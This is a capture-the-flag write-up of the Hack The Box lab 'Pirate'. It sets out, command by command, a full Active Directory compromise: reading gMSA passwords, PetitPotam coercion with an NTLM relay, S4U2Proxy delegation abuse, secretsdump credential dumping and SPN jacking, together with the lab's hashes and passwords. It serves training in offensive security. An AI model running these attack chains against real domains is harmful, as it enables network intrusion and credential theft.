HTB - Pirate

Writeup of Pirate box from Hack The Box

Pirate is not yet retired, I do not encourage anyone to read this writeup for the purpose of obtaining solutions.

Introduction

HackTheBox Pirate is a Windows / AD box with initial access rated “hard” on HTB.

Global attack plan:

  1. Enumeration of the DC01 box
  2. Initial access via uninitialized “Pre Windows 2000” machine accounts
  3. Exploitation of DACLs allowing gMSA read to access an account with WinRM
  4. Pivot with Ligolo and PetitPotam towards WEB01
  5. S4U2Proxy allowing Administrator access to WEB01
  6. Final escalation towards DC Admin by exploiting the assignment of an SPN to the DC (SPN Jacking)

Initial Access

Starting variables:

USER=pentest
PASS='p3nt3st2025!&'
DOMAIN=pirate.htb
DC=pirate.htb

Reconnaissance

We can already launch a Bloodhound which doesn’t give any information for now but will be useful later:

bloodhound-python -d PIRATE.htb -u pentest -p 'p3nt3st2025!&' -ns 10.129.244.95 -v --dns-timeout 65535

As well as an Nmap scan:

└─$ nmap -A -vv pirate.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-20 17:31 EDT
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
PORT     STATE SERVICE       REASON         VERSION
53/tcp   open  domain        syn-ack ttl 64 Simple DNS Plus
80/tcp   open  http          syn-ack ttl 64 Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  syn-ack ttl 64 Microsoft Windows Kerberos (server time: 2026-06-21 04:32:03Z)
135/tcp  open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 64 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 64
464/tcp  open  kpasswd5?     syn-ack ttl 64
593/tcp  open  ncacn_http    syn-ack ttl 64 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
2179/tcp open  vmrdp?        syn-ack ttl 64
3268/tcp open  ldap          syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
5985/tcp open  http          syn-ack ttl 64 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.27 ms pirate.htb (10.129.244.95)

Nothing abnormal here either.

And nothing on the enum4linux side.

On the other hand, the enumeration of hosts with pre Windows 2000 auth is interesting:

└─$ ldapsearch -x -H ldap://pirate.htb -D "$USER@pirate.htb" -w "$PASS" -b "DC=pirate,DC=htb" "(cn=Pre-Windows 2000 Compatible Access)"
# Pre-Windows 2000 Compatible Access, Builtin, pirate.htb
dn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,DC=htb
objectClass: top
objectClass: group
cn: Pre-Windows 2000 Compatible Access
description: A backward compatibility group which allows read access on all us
 ers and groups in the domain
member: CN=EXCH01,CN=Computers,DC=pirate,DC=htb
member: CN=MS01,CN=Computers,DC=pirate,DC=htb
member: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
member: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
distinguishedName: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,
 DC=htb
...
# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 1
# numReferences: 3

We therefore have two potentially accessible machine accounts: - EXCH01 : exch01 - MS01 : ms01

Thus:

└─$ nxc smb pirate.htb -u "computers.txt" -p "passwords.txt" --no-bruteforce
SMB         10.129.244.95   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False)
SMB         10.129.244.95   445    DC01             [-] pirate.htb\MS01$:ms01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
SMB         10.129.244.95   445    DC01             [-] pirate.htb\EXCH01$:exch01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT

STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT: We must set a new password to use the account.

And therefore:

bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u $USER -p $PASS set password 'MS01$' 'Azerty+1'   --oldpass 'ms01'
[+] Password changed successfully!
bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u $USER -p $PASS set password 'EXCH01$' 'Azerty+1'   --oldpass 'exch01'
[+] Password changed successfully!

By enumerating our new permissions with Bloodhound, we find an attack path:

1.png

2.png

3.png

This path means that ‘MS01$’ can read the passwords of gMSA accounts:

└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'MS01$' -p 'Azerty+1' msldap gmsa
---------------------------------------------
Username: gMSA_ADCS_prod$
Allowed machine: pirate\Domain Secure Servers
Password: 908385b82179cb6763403c9924621452f9c8d9e1431a54ca5d9659d18f557a612482af5882ff4989be6879ada761fb86cd1d35561c0f83c54f107e68f35c2a541d444e768a89b54188634bba5ad666993ee7652452ba99faac5b61bd1140bcd63c1ab554d3dae6135eb151bca29eeff9ec5645228870d240df037d9537c06b12e6cfe18f1cc230daa86c5d9458c789bc2b89c59c5396cb1e0de67c29eda25134e12d7db4f16bd97f50208ce6331f13abbb901dcf05e0f388b6da1461f7f652c059b9ae4c088beda35ae621524f85e7a899ac575e51d5e1d25f6ab4e3ed727ddf6bd78b29fb81707bc487a7b1c5c3ddb148b2aded981755fb51a3c9da6adb4b7a
Password -NT-: 55d78485f8d9b2d2b37628227ebf936a
---------------------------------------------
Username: gMSA_ADFS_prod$
Allowed machine: pirate\Domain Secure Servers
Password: 36a33deafd5a8dff78b626b9d4e134add6ccbb12ed7c776e437eb0e92f38b3cafcba8a96641be258ad986c040cf8b2136e56c058bae0b0ce5b7d81fc8b3955f3decd1cfd135f7c0aa9ad7ee09ed5bd27aeff75511157f9411da629b8402d384dab3dde8d8caca8db3d9fca4056a80cdc9191b90fb99142f11d6750bda773e1d560bcfdd595dc2c0efd4e0e061588769473f9adb71d4e0658bfa14ee90a050e6ca0372ad9f20b1072d1800e1e0a67e62c53975054b13cfc1d046e5249a324eccb706a678e3c6af41a6ef2dc679c1b543c0f019f8cc50852899cf0ba505c692c15dc9a124c6c30cfbbb78c78d6cda30c49f979e7997318cfd50a24389499489074
Password -NT-: abad63faa669b6a4eddfd46432f7ca6c
---------------------------------------------

And that we can use ‘gMSA_ADFS_prod$’ to access machines via WinRM:

evil-winrm -i pirate.htb -u 'gMSA_ADFS_prod$' -H 'abad63faa669b6a4eddfd46432f7ca6c'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gMSA_ADFS_prod$\Documents>

No flag yet at this level…

On the other hand, we find an internal network:

*Evil-WinRM* PS C:\> ipconfig

Windows IP Configuration


Ethernet adapter vEthernet (Switch01):

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::d976:c606:587e:f1e1%8
   IPv4 Address. . . . . . . . . . . : 192.168.100.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . .
Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv4 Address. . . . . . . . . . . : 10.129.47.209
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.129.0.1

After establishing a Ligolo tunnel, the ping sweep returns:

└─$ for ip in 192.168.100.{1..254}; do
    ping -c 1 -W 1 $ip > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        echo "$ip is alive"
    fi
done
192.168.100.1 is alive
192.168.100.2 is alive

192.168.100.2 is our next target.

Pivot

Let’s scan the machine again:

└─$ nmap -T3 -A -vvv 192.168.100.2
PORT     STATE SERVICE       REASON         VERSION
80/tcp   open  http          syn-ack ttl 64 Microsoft IIS httpd 10.0
135/tcp  open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 64 Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds? syn-ack ttl 64
5985/tcp open  http          syn-ack ttl 64 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Nmap done: 1 IP address (1 host up) scanned in 61.04 seconds
           Raw packets sent: 2045 (93.176KB) | Rcvd: 57 (3.080KB)

Nothing new, a Windows server that is not a DC this time.

Enumerations performed: - No SMB access - Valid but unprivileged WinRM access, no local privesc found

On the other hand, given the network configuration (gateway through the DC, direct Ligolo to WEB01), as well as the activation of unsigned NTLM, we can think about coercion.

PetitPotam

Thanks to the PetitPotam trigger through the DC, the network exchange is as follows:

(1) Attacker → WEB01
    RPC EFS call

(2) WEB01 → Attacker
    SMB connect \\attacker\share

(3) Attacker ↔ Target
    NTLM challenge/response

All that’s missing is an NTLM relay to exploit the malicious authentication.

Let’s start by creating a “receiver” machine for our future S4U2Proxy:

impacket-addcomputer pirate.htb/$USER:$PASS -computer-name 'hihi$' -computer-pass 'Azerty+1'

Let’s launch an NTLM relay:

└─$ sudo impacket-ntlmrelayx -t ldaps://pirate.htb --delegate-access -smb2support -remove-target -escalate-user  'hihi$'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client WINRMS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections

Then let’s launch the coercion with PetitPotam:

└─$ python3 PetitPotam.py  -u "$USER" -p "$PASS" -d pirate.htb 10.10.15.105 web01.pirate.htb
Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.100.2[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

On the NTLMRelay side, we receive:

[*] (SMB): Received connection from 127.0.0.1, attacking target ldaps://pirate.htb
[*] (SMB): Authenticating connection from PIRATE/WEB01$@127.0.0.1 against ldaps://pirate.htb SUCCEED [1]
[*] ldaps://PIRATE/WEB01$@pirate.htb [1] -> Enumerating relayed user's privileges. This may take a while on large domains
[*] All targets processed!
[*] (SMB): Connection from 127.0.0.1 controlled, but there are no more targets left!
[*] ldaps://PIRATE/WEB01$@pirate.htb [1] -> Delegation rights modified succesfully!
[*] ldaps://PIRATE/WEB01$@pirate.htb [1] -> hihi$ can now impersonate users on WEB01$ via S4U2Proxy

Success!!

We can now perform an S4U2Proxy from ‘hihi$’ to WEB01, to verify:

└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'hihi$' -p 'Azerty+1' msldap s4u2proxy
S4U2Proxy set:
a.white_adm

And retrieve a ST, the correct time is necessary to support Kerberos, hence the faketime:

└─$ faketime -f '+25198.529300' impacket-getST -impersonate Administrator -spn cifs/web01.pirate.htb -dc-ip pirate.htb "pirate.htb"/"hihi$":'Azerty+1'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating a.white_adm
[*] Requesting S4U2self
[*] Changing service from NJBJEPPV$@PIRATE.HTB to cifs/WEB01$@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_web01.pirate.htb@PIRATE.HTB.ccache

And finally authenticate to the machine:

export KRB5CCNAME='Administrator@cifs_web01.pirate.htb@PIRATE.HTB.ccache'
faketime -f '+25198.529300' impacket-psexec -k -no-pass web01.pirate.htb

Secretsdump will give us usable results:

└─$ faketime -f '+25198.529300' impacket-secretsdump -k -no-pass web01.pirate.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x342dfe90cc4061078b79f011cd08f931
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60da2d3ba00d6b5932e4c87dce6fa6b4:::
[*] Dumping cached domain logon information (domain/username:hash)
PIRATE.HTB/Administrator:$DCC2$10240#Administrator#8baf09ddc5830ac4456ee8639dd89644: (2026-02-25 02:41:09+00:00)
PIRATE.HTB/gMSA_ADFS_prod$:$DCC2$10240#gMSA_ADFS_prod$#66812dfee46ff41c9c8245a2819c3183: (2026-02-25 17:59:14+00:00)
PIRATE.HTB/a.white:$DCC2$10240#a.white#366c8924be3ea6d1d12825569a4bcc39: (2026-06-21 16:43:06+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
PIRATE\WEB01$:plain_password_hex:29f1505d87014b01b4317fed1d52ddbee2792a698e7e1de1bcdf29ab5d4b8e54828ce470d23491ba84e82d786622a821a14c730cf8610a32db1951b7619ee08c3bcacbab53aac8e052bd64e638c6bbd9529daacf04f86cfb9034808c4378d2c328c8c6afe7655f4a099dc41caeb6279c53313edcbd58db3e14490b7543ba3250ac200ec9834992b61b3f4319162645b50f402de4db0843fc43db7d54e04828abf86e490959bc88670e50f0b50373a3745f70039f8fd032435c4a725526957c7ae0dbaa81273b3aa28c0b029fea90c271b6601ef3ba7a05a13ec8c8ffd9999dd10eee87b4b9eb08a8a4af90710056f558
PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
[*] DefaultPassword
PIRATE\a.white:E2nvAOKSz5Xz2MJu
[*] DPAPI_SYSTEM
dpapi_machinekey:0x01cffc2ef9a91d20107371f9a4a4112c892ed989
dpapi_userkey:0xa4fddb1b2df2db7cc3d044dc1b559bc1b45a1de9
...
[*] Cleaning up...
[*] Stopping service RemoteRegistry

We notice the presence of a “DefaultPassword”, i.e. a password cached in plaintext for passwordless auth.

We therefore have new credentials: a.white : E2nvAOKSz5Xz2MJu

DACL Escalation

└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=Angela White,CN=Users,DC=pirate,DC=htb
permission: WRITE

distinguishedName: DC=pirate.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.pirate.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD

We can write to a.white_adm, which is in the IT group and therefore interesting:

bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' set password a.white_adm 'Azerty+1'
[+] Password changed successfully!

Yet another new user: a.white_adm : Azerty+1

└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white_adm' -p 'Azerty+1' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=WEB01,CN=Computers,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=MS01,CN=Computers,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=EXCH01,CN=Computers,DC=pirate,DC=htb
permission: WRITE

distinguishedName: DC=pirate.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.pirate.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD

Many interesting privileges here, in particular:

distinguishedName: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
permission: WRITE

But this WRITE does not mean full access on the DC.

Final Escalation

Let’s start by detailing the WRITE right on DC01:

┌──(kali㉿kali)-[~]
└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white_adm' -p 'Azerty+1' get writable --detail

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
servicePrincipalName: WRITE

We can therefore write SPNs for DC01 (and not delegations).

The advantage is that we have usable SPNs:

└─$ impacket-findDelegation -user 'a.white_adm' "$DOMAIN"/"$USER":"$PASSWORD"
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

AccountName  AccountType  DelegationType                      DelegationRightsTo     SPN Exists
-----------  -----------  ----------------------------------  ---------------------  ----------
a.white_adm  Person       Constrained w/ Protocol Transition  http/WEB01.pirate.htb  No
a.white_adm  Person       Constrained w/ Protocol Transition  HTTP/WEB01             No

They are not associated (SPN Exists: No), and can be directly assigned to the DC.

This attack is an SPN Jacking.

We therefore add the SPN to the DC:

└─$ python3 addspn.py -t 'DC01$' --spn "http/WEB01.pirate.htb" -u "$DOMAIN"\\"$USER" -p "$PASSWORD" "$DC_HOST"
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

┌──(kali㉿kali)-[~/krbrelayx]
└─$ impacket-findDelegation -user 'a.white_adm' "$DOMAIN"/"$USER":"$PASSWORD"
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

AccountName  AccountType  DelegationType                      DelegationRightsTo     SPN Exists
-----------  -----------  ----------------------------------  ---------------------  ----------
a.white_adm  Person       Constrained w/ Protocol Transition  http/WEB01.pirate.htb  Yes
a.white_adm  Person       Constrained w/ Protocol Transition  HTTP/WEB01             No

We request a ST with altservice on CIFS:

faketime -f '+25198.529300' impacket-getST -spn "http/WEB01.pirate.htb" -impersonate "Administrator" -dc-ip "$DOMAIN" "$DOMAIN"/"$USER":"$PASS" -altservice cifs/DC01.pirate.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from http/WEB01.pirate.htb@PIRATE.HTB to cifs/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache

We can dump Administrator:

faketime -f '+25198.529300' impacket-secretsdump -k -no-pass DC01.pirate.htb \
  -dc-ip pirate.htb -target-ip pirate.htb -just-dc-user Administrator
  Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:598295e78bd72d66f837997baf715171:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9918bbcfaaad184f895a36edb7aab5bff972912dcf436cf490fc6618cf7bfb56
Administrator:aes128-cts-hmac-sha1-96:7ab7e5b8e8c440068cb254a33a49973f
Administrator:des-cbc-md5:08c1f7b9269bba9d
[*] Cleaning up...

evil-winrm -i pirate.htb -u 'Administrator' -H '598295e78bd72d66f837997baf715171'
Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
<redacted>